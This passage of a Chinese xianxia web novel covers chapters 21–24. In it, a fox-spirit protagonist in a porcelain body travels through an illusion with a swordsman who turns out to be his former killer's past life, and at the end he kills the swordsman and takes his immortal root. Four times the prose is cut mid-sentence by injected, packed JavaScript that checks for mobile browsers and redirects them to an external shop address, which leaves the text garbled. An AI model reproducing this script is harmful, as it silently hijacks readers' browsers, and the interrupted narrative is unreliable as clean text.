男人的衣摆发丝还在因风而飘扬,他无声无息挡开了那道灵团,淡笑道:“好巧,柳道友,又见面了。” “你没有宗门?”柳重月问。 “没有,没有宗门限制,做事逍遥自在,不是很好么。” 柳重月心道果然如此,门内弟子总有许多历练任务,哪能成日像程玉鸣这般四下游荡。 柳重月抬手推了推对方的手臂,道:“我还有任务,程道友还是不要再影响我了。” “你宗门又给你派发任务了?”程玉鸣还是揽着他的肩,带着他往前走去,“我还以为你们宗门已经放弃你了。” 这话说得并不好听,却也是事实。 渡业宗门内自长老到弟子无一不是慕强之人,修炼懈怠的弟子会被看不起也是常有的事。 柳重月脚下未停,却回身瞧瞧身后。 先前想要绊倒他的那团灵力还有残余。 他不动声色,又将视线收了回去。 他知晓程玉鸣在保护他,也算是照顾了他的自尊,什么都不曾说。 他就这样跟着柳重月去了昌兰郡。 柳重月虽不是柳家亲生子嗣,但他与小叔柳默关系一向很好,柳默失踪,他便去替对方给家人收敛尸骨,好好安葬了。 程玉鸣在他身后跟着,偶也会帮帮忙,问:“你在柳家那段时日过得还好么?” 柳重月一时间没明白他在问什么:“我?” “你在渡业宗不是那么多人欺负你,”程玉鸣帮他收拾着东西,似乎只是随口问一问,“不知道你以前在柳家生活的时候是不是也这样,你好像一直不把别人放在心上,所以很多人才会变本加厉。” “或许吧,”柳重月先回答了后一句,之后再又继续道,“柳家挺好的,渡业宗从前也挺好的。” 终归好不好也没多少关系,他活着又不是为了变成人见人爱的天之骄子,只想为狐族平反。 这种话他不会和程玉鸣说,后来想想,他与程玉鸣其实也差不多,都是对对方有所隐瞒的不忠诚之人。 他们或许本来便不是正缘。 后来和程玉鸣在一起,时间久了,才生出那么一些爱和情,才将红鸾命数走向了正轨。 然后,被程玉鸣一剑斩断。 柳重月缓缓眨了眨眼,意识从回忆里抽离出来,周围的声响便跟着一起传入耳中。 很多哭泣的、哀怨的、咒骂的声音。 很多很乱,萦绕在周围。 柳重月手指蜷曲了一下。 他们现在正在城中百姓聚集的地方,向安将人带到了这里,目前还算安全。 但缺衣少粮,很多年迈或者年幼的百姓已经有些撑不住了。 这里是一间很大的佛堂,与幻境入口的那剑后来建成的佛堂不同,这里供奉的是一尊石像,与董凡雁房中地室内的那尊一般无二。 是仙使的石像。 他面上带着一道轻纱,还是遮住了半晌脸,只露出一点点唇瓣和下巴。 因常年风吹雨大,石像上已经生了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15050986|162822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裂隙,有了破损,但还是从前般高大,立于佛堂正中,庄严又有安全之感。 辛云将柳重月放在草铺上,道:“你好像脸色不太好,方才在想什么?” 他其实想问柳重月是否是在想他的那个师弟,毕竟他们好不容易才见上面,也没来得及告别。 但这样的话问出口,自己的心思便昭然若揭,他不敢问。 辛云心里很是急切,柳重月昏迷的那段时间他一直在思索自己奇怪的思绪,到如今应当算是想清楚了。 他想知道柳重月有没有心悦之人,有没有婚约。 他知晓柳重月这样的容貌和性情在幻境外一定会有许多人喜欢,所以也只限于问一问,了却一番心事。 可等站在柳重月面前,又问不出口了。 总是胆怯。 他们似乎还没到能互相询问这种事的关系。 柳重月不知晓他的心思,只道:“想了点往事。” 顿了顿,他又说:“你将手给我。” 辛云视线里生出一些不情愿,又有些纠结。 柳重月心道他这时候倒是年轻气盛,情绪藏不住似的,哪像后来那么狡猾。 他轻轻哼笑了一声,说:“怎么,不乐意给我看你的手?” “有些吓人,”辛云实话实说道,“从前也正因会吓到门内弟子,才会将其藏起来。” 他还是一副不愿动手的模样,柳重月便抬起胳膊,想自己去摸。 他一动,这具陶瓷做的身体便开始咯吱响动,刺耳又难听,像是下一秒便要碎了。 辛云忙道:“你别动了。” 他像是拿柳重月没办法,只好将衣袖揽上去,露出手臂来。 柳重月垂眼打量着他的手背和手臂,疮口看不明白是何物所致,像是从中向外逐渐蔓延的腐烂。 柳重月问:“这是怎么出现的?被什么伤到了?” “不是,是身体的缘故,我所修之道有损身体,慢慢便会腐蚀,不过尚且不影响修为。” 柳重月倒是头一次听闻:“什么道需要这般牺牲自己的身体?” 辛云似是有些难以开口,半晌才应声:“杀戮道。” “以杀戮为道,刀上沾的血越多,修为便会精进一步,自古以来仙道一直将此道认定为邪道,不允修士修行,若修此道,飞升的寥寥无几。” 柳重月确然不知晓这些,神情都有些懵:“为何?若杀生便能精进修为,应当飞升很亏才是。” “原本仙道以为是这样,”辛云语气平静,将衣袖放了下来,“不过等修为到了渡劫,便要寻大道的本质,杀戮道的道心当真是无穷无尽的杀戮么,不知晓,但应当不是,可究竟是什么很难有人能悟道,于是终其一生便停滞在渡劫了。” 倒是与妖修相似。 都是无法悟道之人,也都无法飞升成仙,都只能做下界修士中泯然众人矣的废物,受不住外人的敬仰。 柳重月忽然又想到什么。 辛云若当真是程玉鸣的前世,想必程玉鸣修的也是杀戮道。 难道当初杀妻证道,是为了悟道? 22. 第 22 章 很快他又回过神来,心想,管他是什么原因,捅了自己一刀是事实,他做鬼也不会放过程玉鸣的。 柳重月又问:“你这幅样子,不会减少寿数么?” “自然是会的,”辛云像是不在意般,又说,“修为停住,反噬便会跟着停下,但想要更多的力量,自然得牺牲更多的东西。” “下界仙道中所有的道都是一个道理,只是牺牲的东西不同,”顿了顿,辛云又觉得奇怪,问,“你从前在宗门,你师尊不曾教你这些?” 明钰怎可能教这些。 他是妖修,本来便不可能有道,明钰平时教他像带一个被宠坏的孩子,根本没有强求他去追逐什么大道仁心。 自己的身份也不便和辛云提起,柳重月只道:“你与我刚认识时不是说了么,我课业上不认真,没听讲,自然知道的少。” 他这话里多是调侃,辛云听得出他的意思,知晓自己先前是以貌取人,这件事情做得不对,于是便格外心虚,道:“当时是我不知道——” “不知道我长成这样,”柳重月笑意盈盈,问,“你是想这么说吧?” 辛云一时语塞,半晌才轻声道:“抱歉。” “与我道歉做什么,”柳重月像是也不在意,“我在幻境外已经碰到过许许多多以貌取人的修士了,有些人觉得我长得漂亮,修为一定不高,有的人又说我长成这样,在宗门内必定在偷偷做我师尊的炉鼎。” 听得太多了,他连生气都觉得很没意思,抽不出太多精力去管别人在想什么。 他还是不断穿梭在世间的各个角落,试图寻找自己幼年时发生的一切。 只可惜走遍了千山万水,妖修在下界的地位还是犹如过街老鼠,比不上鬼修魔修那般自由,也飞升无望。 柳重月走了会儿神,忽然又听见辛云叫他:“你最近总是出神,是因为魇阵?” 魇阵附着在柳重月的魂魄之上,这段时间身体濒临破碎,魂魄动荡,确实很容易被魇阵趁虚而入。 辛云又道:“我再给你些灵力,先前不是说,有灵力傍身会让魂魄舒服一些。” 柳重月便没拒绝。 他闭上眼,对方纯澈的灵流自眉心传入体内,四散而开,温养着他的魂魄。 柳重月细细辨认着,确然与程玉鸣的灵力属性相似。 大概是还换过身体,程玉鸣的的灵力要更温和一些,没有辛云的那般肃杀。 是换了身体,还是转世重生过一次? 柳重月猜不到。 他们在佛堂里呆了两日,这两日外头乌云密布,见不到光亮,整个城中弥漫着令人恐惧的阴森气息。 甚至在稍远一些的地方都已经弥漫着大雾。 浓雾之下更是伸手不见五指,谁也不知前行是否安全,可有妖兽埋伏,也不敢偷偷离城。 柳重月在草铺上昏昏沉沉睡了一夜,迷迷糊糊听到有人问:“城外不是有许多修仙的,怎么到今日都不见人进城来帮一帮?” “修士?你指望修士救命,还不如指望那群怪物自己离开。” “那仙人呢,仙人总该会来吧,以前仙使不也来过这里。” 耳畔闹闹嚷嚷,柳重月没了睡意,睁着眼从望着高窗外。 除了乌云,什么都看不到。 他看见向安正沉默地坐在一个妇人身边,妇人怀中抱着一个孩童,尚在襁褓之中,面呈青灰之色,像是生了重病已然快要不行了。 妇人轻轻啜泣着,向安看不下去,又安抚了两句,道:“我去药馆看看还有没有药材吧,或许还能再多撑一段时间。” 妇人连声道谢,向安便起了身,自己一个人离开了佛堂。 柳重月忙推推正在闭目调息的辛云,小声道:“把你的镜阵留一个给我,去跟着向安。” 辛云便给他留了一把小镜子。 佛堂外一片肃萧,路边还有被蚕食的、黏着一点点血红碎肉的尸骨。 前几日确实有胆子大的百姓说要出去闯闯,人走了便再也没有回来。 向安看得头皮发麻,不敢再多瞧,又怕惊动了不知道藏在何处的妖兽,小心翼翼往药铺赶去。 所幸这一路没什么危险,向安松了口气,顺利进了药铺。 他只懂一点点医术,那小儿病症是高烧,勉强能治一治,但还有什么别的隐症便无法知晓了。 他自知那小儿或许救不了几日,但多少能给那妇人一点希望,让她别那么难受。 等往后太鼓城恢复了原状,一切还会好起来的。 向安叹了口气,将药材找好,去后院打水打算煎药。 刚进了后院,一只巨大的白鸟忽然尖啸一声,骤然向他这边俯冲而来。 向安吓了一跳,忙惊慌失措向后跑去,却只感到一阵罡风骤然刮来,顿时便将他掀翻在地。 向安在地上打了个滚,颇为狼狈地撑起身体,眼见那白鸟张着利爪飞扑而来,向安心道自己此番恐怕必死无疑,只能等死。 正想着,一道剑风忽然急斩向那白鸟,登时将它打飞。 白鸟又尖啸一声,它有一点点神志,懂得趋利避害,察觉到来人比自己厉害,为保命便自己走了。 向安这才松下一口气,心跳还未平息,又惊又险道:“城主?” 辛云跟随而来的脚步蓦地一顿。 是瓷妖。 这么多日不见,灵力竟然强悍了许多。 这瓷妖倒是手段很多,各种各样的歪门邪道都能找到。 辛云又往前走了一步,站在角落里,听着他们对话。 瓷妖道:“向大人,怎会这般狼狈,城中状况还好么?” “您消失这几日,城里状况很不好,很多人都死了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15050987|162822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向安犹豫了一会儿,又问:“您……去了何处?” “哦,事态紧急,我去寻求仙道帮助,”瓷妖话音一转,又道,“你应当也去过了吧,你看,仙道那群道貌岸然的修士们啊,说这是城中百姓的命数,不可出手相助。” “他们倒是得道成仙长命百岁,城中的百姓可什么都不知晓,只知道自己莫名其妙便没了性命。” 瓷妖语气里带着些许嘲弄:“人又怎么知晓自己的命数如何,还不是仙道一句话的事,难辨真假。” 向安沉默不语着。 “我这几日不在城中,便是去问了仙道,仙道既不愿出手相助,那我便自己想办法,”瓷妖张开手臂,掌心凝出一团灵力,笑道,“你看,仙道说我没有仙缘不得修炼,我听了他们的话,在太古城中安安心心做一个普通人,守着这座城,但现在才发现他们原是骗我的,有没有仙缘,我照样能有强大的灵力。” 她总算说出了自己的目的,引诱着向安,问他:“你呢,你想要吗?想要更强大的力量去保护你在意的百姓和城池吗?” 向安有些意动,但只是些许动摇,半晌还是道:“我……我此番出来替一个孩子寻药,现下药已寻到,我……我还是先回去照看一下百姓好了。” 他欲言又止,抱着药材匆匆向药铺外跑去。 辛云便又不远不近跟在对方身后,透过镜阵问柳重月:“方才便不见你说话,你有什么想法?” 镜阵内沉默了片刻,过了一会儿,辛云听见柳重月轻声道:“辛云,先回来……” “我有急事,需要你……” 辛云心下微微一惊,不由得加快了脚步:“何事?发生了何事?是魂魄有异么?” 柳重月的魂魄不稳,若当真出了事,恐怕便要就此灰飞烟灭了。 他有些不太能接受从此见不到对方这样的事情,快了辛云一步,赶回了佛堂。 柳重月坐在草铺上,垂着脸,似乎在出神。 辛云人还未迈入佛堂,手中灵力已然宣泄而出,将柳重月护在其中。 似是察觉到周遭灵力发生了变化,柳重月微微抬起脸,神色有点木然。 “怎么了?”辛云问,“哪里——” “让他们别吵了,”柳重月喃喃道,“他们的声音,让我很不舒服。” 什么声音?这些百姓的声音吗? 辛云犹疑了一瞬,将柳重月抱起来,“确然是有些吵闹,先去安静的地方待一会儿好了。” 他把人抱到了另一处已经空了的饭馆,远离了佛堂,周遭一片寂静,没有杂音了。 可柳重月还是说:“好吵。” 好多情绪无端无故地涌进脑海里,他似乎感同身受,很想哭。 可这具身体没办法哭泣,只能保持着沉默。 柳重月晃晃脑袋,又说了一句:“好吵。” 23. 第 23 章 辛云一时间也有些奇怪,见柳重月神色木然,不知晓是否是因为魇阵的原因,只好又散出灵力去想替他安抚一下魂魄。 灵力刚散出去,柳重月却轻轻摇摇头,说:“不必给我灵力了。” “我瞧你可是身体不适,也不知还要在幻境内待多久,这具身体也撑不了几时。” 辛云心道,或许还是得想写别的法子。 幻阵的阵眼至今还没有头绪,大概要等着千年前发生的一切在幻阵内重演完才能看到什么线索。 辛云难得有些焦虑,柳重月察觉到他的情绪,反倒淡声笑起来,轻声说:“你过来。” 又是“你过来”。 辛云心不在焉靠近柳重月,记起他先前在那个师弟面前就是这样,像招小狗似的,将人叫来唤去。 现在又这样叫自己。 偏偏…… 偏偏也不是很想拒绝。 辛云坐到柳重月身边,瓷偶的身体没有任何灵力,也感知不到活人的气息。 严格来说柳重月已经死了,他现在只是亡魂一缕,没有声息的。 辛云余光看见坐在自己身侧那人伸出了手,那只布满裂隙的、苍白的手慢慢摸过来,十分轻佻地碰了碰自己的手。 像是被什么毛茸茸的东西试探着舔了舔。 辛云忽然感到身体一阵发麻,下意识便想将手抽回。 柳重月却眼疾手快,抓住了他的手指。 担心太过用力导致身体碎裂,辛云便只好收了力任由柳重月这般拉着他。 柳重月垂着眼,像是无聊,摆弄着他的手指道:“其实你这双手,要是没有被反噬腐蚀,其实还挺漂亮的。” 指节修长又有力,指腹还带着常年用剑留下来的茧子。 辛云骤然被他这么一说,不由得耳廓有些泛红,却没出声。 柳重月又问:“你为什么只用木剑?” 木剑未开刃,无法造成损伤,辛云出手一向依赖于修为灵力,灵力越强,木剑造成的伤害便会越高。 但这一切都与剑主人的灵力有关,若是辛云换桃枝作武器,效用也是如此。 只是使用木剑,和辛云肃杀的灵力相比,似乎有些不太匹配。 若是换成银剑呢?像师尊那样的。 或者是程玉鸣那样的玉剑。 说来也奇怪,师尊和程玉鸣都是佩剑之人,但柳重月却很少见他们用剑,尤其是程玉鸣。 程玉鸣那柄剑格外漂亮,玉质细腻剔透,如月华一般,柳重月有时见了都忍不住想去握一握,又怕自己不慎将其摔碎了,于是总是远远地看一眼。 辛云解释道:“我所修之道太过凶险,本身已因果缠身,若用剑伤人,剑是有灵之物,会因此也缠上因果。” 柳重月点点头,又想,说得这般冠冕堂皇,最后还不是一匕首捅死了自己。 难道匕首就并非有灵之物么? 未免也有些太小看了匕首。 柳重月为自己送出去的匕首感到不值得,很快又将话题转回来,问:“那你在宗门内,便无人阻止你修杀戮道么?” 顿了顿,柳重月又问:“你的师尊是谁?” “我不曾有师尊,”辛云实话实说,“我是散修挂名于定阳宗,并非定阳宗入门弟子,那几个弟子尊称我一声师叔罢了,实则我也不曾教过他们什么。” 又是散修? 柳重月怔了怔。 程玉鸣倒是,从以前到后来都那般无拘无束,什么宗门都不曾加入,后来反倒自己建了一个新的组织,养了许多散修杀手,去接安垣东洲百姓所托,替他们斩妖除魔。 柳重月那时还并未离开渡业宗,师尊仙逝后,宗门大会上的位置空缺。 他是明钰唯一的弟子,便要顶替明钰去代他参加宗门大会。 每每宗门大会上各方长老总会提起程玉鸣和他的玄月涯。 斩妖除魔这等事原本本是宗门各弟子该做的事,现在却被一群散修抢了先,宗门弟子反倒整日无所事事,除了历练几乎不曾下山,都忙于修炼飞升。 飞升又并非简单的修为进阶,也看福祉与因果。 不知何时宗门弟子便成了如今这样,多有自私,也难怪飞升之人越来越少,连明钰都没能成功渡过雷劫。 柳重月心不在焉坐在一边偷偷摸摸玩自己的尾巴毛,回忆着从前师尊还在的时候是什么模样。 似乎也不曾说错,自自己懂事之后几乎没见过明钰管过下界百姓的事情,也没逼着柳重月去做,只让他自由一点,随心所欲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15050988|162822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一些。 柳重月歪着头想,真要这么说,也不怪明钰没飞升成功。 他除了在亭松院坐着摸狐狸,就是在寒泉边摸狐狸,整日无所事事,能飞升便怪了。 他捻着自己的尾巴毛,忽然听见宗主唤他:“重月?” 柳重月下意识一个激灵,将尾巴藏了起来,起身作揖:“宗主。” “你……”宗主欲言又止,半晌却只是叹了口气,道:“去将你师尊的仙位带回去吧,往后宗门大会便不必你来了。” 柳重月先是以为自己大会上走神被宗主发现,所以连着他师尊一起被赶出去了。 后又觉得赶出去也好,师尊连亡魂都不曾留下,仙位留在那里也没什么意义。 生不带来死不带去的东西而已。 柳重月抱着明钰的仙位往大堂外走,远远听到几个长老还在身后说玄月涯的事情。 他将仙位放回到明钰的房间,屋檐上驼铃叮当当响着,不过片刻,程玉鸣的声音破空传进来,道:“阿月,你们守门弟子将我拦在门外了,我进不来。” 过了一会儿,程玉鸣又道:“哦,你师弟来了。” 声音到这里便断了,柳重月叹了口气起了身,离开亭松院,慢慢走下山,走到宗门处。 景星正与程玉鸣大打出手。 他修为不及程玉鸣,手中提着剑,还打不过程玉鸣赤手空拳。 程玉鸣远远瞧见柳重月那一身青衫,笑道:“你师兄来了。” 景星心下一惊,正想回头,手上剑势却忽地一歪,刺偏了。 程玉鸣一脚踹在他胸口,将他踹飞出去。 柳重月谁也不帮手,他抱着手臂靠在竹上,淡笑道:“师弟,作战时不要走神。” 景星怒道:“谁要你这个废物教我。” 柳重月耸耸肩,他越过景星,走到程玉鸣面前去,问:“今日又来找我做什么?” “想你在山上无聊,带你去山下玩一玩。” 程玉鸣自觉站到他身后,将他与景星间隔开,也挡住了景星怒而想要进攻的欲望。 程玉鸣揽着柳重月的肩,又道:“嗯……也还因为,许久没见你……” 他声音低下去,凑在柳重月耳边小声说:“我有点想见你了。” 24. 第 24 章 柳重月知晓他在胡说八道,将那只挂在自己肩上的手拂下去,道:“这等话我可听许多人说过了,谁不是说出来哄骗人的,下回记得换个说法。” 程玉鸣转而又黏上来,追在他身后问:“谁和你说了这种话?” “不记得了。” “不记得,还是你本就是骗我的。” 柳重月悠悠走在前头,声音很轻也很平静,顺着风飘过来:“自然是骗你的。” 虽然嘴上这么说着,他还是跟着程玉鸣下了山,在山脚镇上的集市里逛了许久。 烟山周遭宗门甚多,仙道人人慕强,如今宗门弟子里最有望飞升之人便是景星。 景星不喜欢柳重月,便连带着许多人都看不上他。 从前下山总受欺负,如今倒是有程玉鸣陪着。 程玉鸣这人看着总是温和又笑意盈盈,与许多人都关系甚好,实则最是心狠手辣,招惹了他他从不放过,打得人服服帖帖。 柳重月认识程玉鸣之后下山的次数倒是多了些,不再像从前那样蜗居在亭松院不愿动弹了。 他捏着糖人往前走着,程玉鸣在他身后絮絮叨叨说话,问他:“前段时日我听闻你师尊还在时,亭松院全是雪,为何如今雪还没化?” “那是师尊逸散的仙力,并非一日两日便能消散的,”柳重月含含糊糊道,“你若想玩雪,我可让守门弟子给你放个行。” 程玉鸣在他身后笑。 他这般死缠烂打了几年,柳重月也记不清究竟多久了,只记得不知道什么时候自己也生出了些许心动,觉得这样似乎也挺好。 最起码在师尊仙逝之后,已经没人这么陪他了。 柳重月回过神,又去看着正坐在自己身边的辛云。 先前他还没发觉,现下忽然察觉到辛云对自己似乎没有程玉鸣那般狂热,更像是再敬重什么长辈似的。 柳重月自知容颜从未改变,分明是同一人,怎么态度会有如此大的差别? 他想了半晌想不明白,便又不想了。 休息片刻之后魂魄恢复了正常,先前那些杂乱的声音也随之消失不见。 柳重月猜测或许是魇阵勾出了自己心里深处的回忆,所以才会导致方才自己幻听到一些奇怪又悲伤的情绪。 担心离开佛堂太久会错过什么重要的线索,柳重月又让辛云将自己抱了回去。 刚一进佛堂,那些乱七八糟的情绪便又一次涌了上来。 不过这次像个较远,像是隔着一层水雾,听得不算清楚。 柳重月便将此处忽略了过去,只在人群中寻找着向安的踪影。 向安将带回来的草药煎好给那幼儿服下,不过确实如他所想,于事无补。 那孩子还是青灰着面庞,像是时日无多。 妇人崩溃地抱着孩子抽泣,向安心中过意不去,又道:“不如我将孩子带去仙道,仙道总会有办法救他的。” “向大人,您要是出城,会很危险的。” “无事,上回我不也回来了,这次也不会有事的。” 向安让妇人将孩子交给他,他的执行力一向很快,这便带着孩子离开佛堂,小心翼翼往城外走。 柳重月又让辛云留下镜阵去跟着对方。 辛云走之前有些犹豫,道:“若是身体不适便唤我,我很快便回来。” 柳重月冲他摆摆手。 *** 向安这一路倒是没碰上什么危险,像是之前盘踞在太鼓城周围的妖兽都已经离开了似的。 但向安还是听到了野兽粗重的呼吸声,知晓自己仍然走在危险之中。 也不知那些妖兽在做什么,分明便在周围,见了向安却不攻击。 向安担惊受怕,匆匆抱着孩子出了城。 又走出去挺远,浓雾散去,秋意映入眼帘,视线尽头是火红的枫林和盘旋的飞鸟。 向安喃喃道:“居然已经入秋了么?” 话音刚落,怀中孩子忽然挣动了一下,发出细微的声音。 向安如梦初醒一般,将其抱紧了些,继续向前去了。 柳重月隔着镜子,借着辛云的视线观察向安的一举一动。 他知晓向安为什么没在出城时遇到危险,因为妖兽是瓷妖召唤而来,听从瓷妖的指示。 瓷妖大约是想再逼向安一把,但是逼他做什么呢? 和自己一起修炼邪术么? 向安是仙人转世,若他出了什么意外,上界必然会被惊动。 这一招倒是找准了痛点。 柳重月思及此,又慢慢挪动到草铺边,盯着那具高大的石像看了片刻。 仙使的石像。 自己之前在梦中听到仙使与外人对话,这诸多一切,还与天道有关? 仙使曾入下界,自己后来被诬陷窃走的仙骨,是否也和他有关? 柳重月心中一片谜团,暂且想不清楚。 他又听到辛云的声音从镜中传出来,道:“向安找到宗门了……不认识这是什么宗门,求药,被拒绝了。” 柳重月早便知结果会是如此,他叹了口气,道:“你先回来吧,我方才似乎看见了瓷妖。” 谁知晓瓷妖在幻境中究竟能有多少控制身体的力量,先前便已经受过她两次攻击,若是这番再想要卷土重来,柳重月身上又没有灵力,后果不堪设想。 辛云便转身缩地千里,赶回了太鼓城。 方进了城门,他瞧见瓷妖正高站于城墙之上,俯瞰着这座已然荒芜的城池。 辛云心觉不对,手中木剑已挥出,顿时凝成一道宽大的结界。 他脚下未停,迅速向着佛堂赶去。 瓷妖在他身后笑道:“你想保护他,可他已经快碎了哦。” “献祭的新娘就应该乖乖等着为我所用,当初又为什么要试图逃跑呢。” 辛云只字未言,匆匆进了佛堂,将柳重月单臂抱起来。 他猛地抬剑向上一指,高声道:“破!” 话音刚落,剑意直刺天顶,登时将屋顶洞穿。 辛云抱着柳重月,脚下一蹬,转眼便跃出佛堂,踩着屋顶向城门奔去。 柳重月怔然道:“她又来了?” “是,寻你而来。” 辛云话没说完,一道灵力破空斩来,他抱着柳重月的手臂微微收紧,旋身一脚踏上那道灵流,另一只手挥剑而出。 只听“轰隆”一声,两方灵力相撞,顿时爆发出令人惊骇的爆破与呼啸狂风。 柳重月下意识闭了闭眼,只听见辛云的衣摆在风中猎猎作响,一转眼,辛云便又抱着他继续向前跃去。 柳重月感到了一股格外肃杀凌厉的杀意,怀抱着自己那人周身修为忽地高升,竟已隐隐至了渡劫。 他心下讶然,没等回过神来,辛云已冷着脸直冲城墙上的瓷妖而去,一剑便将其洞穿。 柳重月听到瓷妖惨叫了一声,下一瞬,他与辛云同从对方体内穿过。 辛云落在了城墙之上。 瓷妖还是幻境中的瓷妖,外层的那个已经走了。 柳重月松了口气,小声道:“真是阴魂不散。” “她冲着你来的,”辛云将柳重月放到一边,垂眸撩起了自己的衣袖,“她在幻境中依靠吸取新娘体内魂魄的灵力为食,并将其化为己用,你在幻境外应当修为很是高深吧,她很想要你的魂魄。” 柳重月有些懵:“我?修为高深?” 他要真是修为高深便不会被同门欺负至死了。 柳重月难得心虚,道:“我只是筑基期而已,她不嫌我废物,我已经很感谢她了。” 辛云:“……” 辛云艰难道:“抱歉……我不知晓你……你只是筑基期。” 他总觉得柳重月做什么都游刃有余,还以为从前在宗门会是什么位高权重的大弟子。 是自己又以貌取人了。 柳重月忽然又道:“你的手臂被腐蚀得更厉害了,是因为方才强行调用渡劫修为?” 辛云的手臂已经腐烂至上臂,往下森森白骨已然露出,很是吓人。 柳重月问:“会疼吗?” “会,”辛云又将衣袖放下来,淡声道,“时间久了便习惯了,这样的疼痛比不上突破时的万分之一。” 柳重月心说他真是个狠人。 “你若是在幻境里死了怎么办?”柳重月又问。 “不知晓,”辛云道,“兴许也就这么死了也说不准。” “这幻境里险境丛生,我看你总是不着急,还以为你不怕自己出不去呢,”柳重月看着他笑道,“从前我倒是见过一个和你性情差不多的人,他和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15050989|162822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你很像,无非便是性子很不一样,要更风流洒脱一些。” 辛云抓着剑柄的手指下意识收紧了些许,心知自己不是很喜欢听柳重月提及别的男人。 还是如此细致般地提及。 他声音有些闷,只“嗯”了一声。 柳重月像是看出他所想,直戳了当问:“你不爱听我说这些?” “不曾,你若想说便说,我都听着。” “可你眼睛说不想听,”柳重月盯着他的眼睛瞧,看得辛云心跳总是很快,没办法平息,“哎呀,那你是不想听我说别人,还是不想听我说别的男人。” 辛云唇瓣动了动,半晌还是嘴硬道:“我……不曾,你爱说我便都听着。” “那我便不想说了,”柳重月向对方招招手,“辛云道友,你过来。” 辛云心不在焉,靠近了柳重月,又听他问:“在幻境里你还挺照顾我的,不过瞧你先前对外人都那般冷淡,如此待我,我也实在是有些受宠若惊。” 柳重月轻轻碰了碰他的手指,指腹冰冰凉凉的,没有人体的体温。 辛云下意识想要将手收回,却被柳重月故技重施抓住了手指。 柳重月的眼睛很漂亮,狐狸眼眼尾上翘,睫羽又很长,总带着狡黠和情愫似的,看得人心里直发痒。 柳重月轻轻问:“你喜欢我么?” 辛云:“……” “你实话实说,我又不会笑话你,”柳重月弯起眼睛道,“反正在外面,有很多人对我说过喜欢,有的想与我做道侣,有的想让我做他的炉鼎,心思单纯的有,念头龌龊的也有,我早就习惯了。” 他轻轻摩挲着辛云的指腹,又问了一遍:“所以,你喜欢我么?” 辛云只觉得心乱如麻,怎么知晓自己要如何回答。 他连喜欢是什么都还不清楚,又要怎么回答。 于是纠结片刻,他居然岔开话题,反问道:“所以你答应做谁的道侣了吗?” 柳重月怔了一瞬,转而笑出声来。 他也算留恋尘世几百年了,这样的回应是什么意思也不是不懂,也便没有再继续追问的意义。 他将自己的头发从脑后揽到肩前,盯着辛云认真道:“结为道侣之后会在魂魄上落下契印,你不如自己来看看,我是不是有夫之人。” 他微微测过身去,将白皙的脖颈露出来,面向了辛云。 辛云只觉得那一片皮肤白得像年糕,诱惑着人想去咬一口。 他神志有些恍惚,稍稍靠近了对方,想去触碰一下那一片肌肤。 还未等碰上,他忽然听到刀刃刺入身体的声音,紧接着便感到后心一阵冰凉。 尖锐的刺痛后知后觉从后心蔓延,辛云怔然想直起身,却被柳重月紧紧揽着脖颈和后脑,将手中匕首刺得更深。 柳重月语气寒凉,早没了先前那般温和,道:“想哄你说句喜欢竟这么难呢,罢了,也不重要。” 他满心是恨,抓着匕首自对方后心划至脊骨,又顺着脊骨划下。 辛云的身体在他怀中抽搐,双手紧紧抓着他的衣袖,似是有些难以置信,又没办法说出话。 柳重月恍若未觉,心狠手辣将他的仙根剥出,双手沾满了血,将其吞吃入腹。 辛云的仙根内蕴含着渡劫期的修为,入体便向着四肢经脉流淌而去,逐渐与魂魄合二为一。 他身形一转,以灵力化肉身,恢复了自己双腿与容貌,居高临下站在辛云面前。 辛云已没了呼吸,微微睁着眼躺在地上,像是至死都不知晓发生了什么。 柳重月弯身摘了他的覆面,下半张脸早已被腐蚀,面不清楚容貌的。 柳重月又将覆面扔了回去,道:“你杀我一次,我也杀你一次,你借我杀妻证道,我夺你仙根,如今我们便扯平了。” 他拍拍手站起身,身后狐尾惬意地摇晃着,又道:“下辈子要当好人哦。” 柳重月重获自由,自城墙上一跃而下,化作一只火红的小狐狸,转瞬便消失不见了。 